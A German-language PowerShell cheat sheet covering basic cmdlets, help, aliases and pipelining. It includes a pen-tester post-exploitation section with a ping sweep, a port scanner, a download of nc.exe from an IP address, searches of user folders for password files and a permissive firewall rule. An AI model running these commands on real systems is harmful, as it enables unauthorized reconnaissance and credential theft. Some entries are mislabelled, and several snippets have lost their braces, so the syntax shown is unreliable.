Der Zweck dieses Spickzettels besteht darin, einige gängige Optionen und Techniken zur Verwendung in Microsofts PowerShell zu beschreiben.

PowerShell-Übersicht

PowerShell-Hintergrund

PowerShell ist der Nachfolger von command.com, cmd.exe und cscript. Ursprünglich als separater Download veröffentlicht, ist es jetzt in alle modernen Versionen von Microsoft Windows integriert. Die PowerShell-Syntax hat die Form von in Cmdlets implementierten Verb-SubstantivMustern.

Starten von PowerShell

Auf PowerShell greifen Sie zu, indem Sie Start drücken -> powershell eingeben und die Eingabetaste drücken. Einige Vorgänge erfordern Administratorrechte und können durch Starten von PowerShell als Sitzung mit erhöhten Rechten ausgeführt werden. Sie können eine erhöhte
PowerShell starten, indem Sie auf Start drücken – > powershell eingeben und Umschalt-STRG und Enter drücken.
Darüber hinaus können PowerShell-Cmdlets von cmd.exe aufgerufen werden, indem Sie Folgendes eingeben: powershell -c “BEFEHL”.

Syntax

Cmdlets sind kleine Skripts, die einer durch
Bindestriche getrennten Verb-Substantiv-Konvention
folgen, z. B. „Get-Process

Ähnliche Verben mit unterschiedlichen Aktionen:

Parameter:

Eine Verb-Substantiv kombination kann viele Parameter haben, um die Cmdlet-Funktionalität zu steuern.

Objekte:

Die Ausgabe der meisten Cmdlets sind Objekte, die an andere Cmdlets übergeben und weiter verarbeitet werden können. Dies wird beim Pipelining | von Cmdlets wichtig.

Nützliche Cmdlets (und Aliase)

Holen Sie sich eine Verzeichnisliste (ls, dir, gci):

[php]Get-ChildItem[/php]

Kopieren Sie eine Datei (cp, copy, cpi):

[php]Copy-Item src.txt dst.txt[/php]

Verschieben einer Datei (mv, move,mi):

[php]Select-String –path c:\users\*.txt –pattern password[/php]

[php]ls -r c:\users -file | %Select-String -path $_ -pattern password[/php]

Suchen Sie Text in einer Datei:

[php]Get-Content file.txt[/php]

Dateiinhalt anzeigen (cat, type, gc):

[php]Get-Content file.txt[/php]

Aktuelles Verzeichnis abrufen (pwd, gl):

[php]Get-Location[/php]

Holen Sie sich eine Prozessliste (ps, gps):

[php]Get-Process[/php]

Holen Sie sich eine Serviceliste:

[php]Get-Service[/php]

Ausgabe eines Befehls formatieren (Format-List): ‘

[php]ls | Format-List –property name[/php]

Ausgabe Schittweise auflisten:

[php]ls –r | Out-Host -paging[/php]

Rufen Sie den SHA1-Hash einer Datei ab:

[php]Get-FileHash -Algorithm SHA1 file.txt[/php]

Ausgabe in CSV exportieren:

[php]Get-Process | Export-Csv prozesse.csv[/php]

PowerShell für Pen-Tester-Post-Exploitation

Führen Sie einen Ping-Netz  durch:

[php]1..255 | % echo “192.168.210.$_”;ping -n 1 -w 100 192.168.210.$_ [/php]

Führen Sie einen Port Scan durch:

[php]1..1024 | % echo ((new-object Net.Sockets.TcpClient).Connect(“192.168.210.10”,$_)) “Port $_ is open!” 2>$null[/php]

Rufen Sie eine Datei über HTTP (wget in PowerShell) ab:

[php](New-Object System.Net.WebClient).DownloadFile(“http://192.168.210.10/nc.exe”,”nc.exe”)[/php]

Alle Dateien mit einem bestimmten Namen finden:

[php]Get-ChildItem “C:\Users\” -recurse -include *Passwörter*.txt[/php]

Erhalten Sie eine Liste aller installierten Microsoft Hotfixes:

[php]Get-HotFix[/php]

Navigieren Sie in der Windows-Registrierung:

[php]cd HKLM:\
ls[/php]

Programme auflisten, die automatisch in der Registrierung gestartet werden sollen:

[php]Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run[/php]

Zeichenfolge von ASCII in Base64

[php][System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(“ITNEXTGEN”))[/php]

Listen Sie die Windows-Firewallregeln auf und ändern Sie sie:

[php]Get-NetFirewallRule –all
New-NetFirewallRule -Action Allow -DisplayName TESTPROGRAM -RemoteAddress 192.168.210.10[/php]

Cmdlets finden

So erhalten Sie eine Liste aller verfügbaren Cmdlets:

[php]Get-Command[/php]

unterstützt das Filtern. So filtern Sie Cmdlets nach dem Verbsatz:

[php]Get-Command Set* [/php]

[php]Get-Command –Verb Set[/php]

Oder auf dem Substantivprozess:

[php]Get-Command *Process[/php]

[php]Get-Command –Noun process[/php]

Hilfe bekommen

So erhalten Sie Hilfe mit Hilfe:

[php]Get-Help[/php]

So lesen Sie die Cmdlet-Selbstdokumentation:

[php]Get-Help < cmdlet >[/php]

Ausführliche Hilfe:

[php]Get-Help < cmdlet > -detailed[/php]

Anwendungsbeispiele:

[php]Get-Help < cmdlet > -examples[/php]

komplette Hilfe:

[php]Get-Help < cmdlet > -full[/php]

Online-Hilfe (sofern vorhanden):

[php]Get-Help < cmdlet > -online[/php]

Cmdlet-Aliase

Aliase bieten kurze Verweise auf lange Befehle.

So listen Sie verfügbare Aliase auf (alias alias):

So erweitern Sie einen Alias zu einem vollständigen Namen:

Effiziente PowerShell

Tab-Vervollständigung:

[php]get-child < cmdlet >[/php]

[php]Get-ChildItem[/php]

Parameterkürzung:

[php]ls –recurse[/php]

[php]ls -r[/php]

Pipelining, Schleifen und Variablen

Weiterleitung der Cmdlet-Ausgabe an ein anderes Cmdlet:

[php]Get-Process | Format-List –property name[/php]

ForEach-Objekt in der Pipeline (Alias %):

[php]ls *.txt | ForEach-Object cat $_[/php]

Where-Object-Bedingung (alias where oder ?):

[php]Get-Process | Where-Object $_.name –eq “notepad”[/php]

Zahlenbereiche erzeugen und Schleifen:

[php]1..10[/php]

[php]1..10 | % echo “Hallo!”[/php]

Variablen erstellen und auflisten:

[php]$ING = 2022[/php]

[php]ls variable:[/php]

Beispiele für das Weiterleiten der Cmdlet-Ausgabe in die Pipeline:

[php]dir | group extension | sort[/php]

[php]Get-Service dhcp | StopService -PassThru | Set-Service -StartupType Disabled[/php]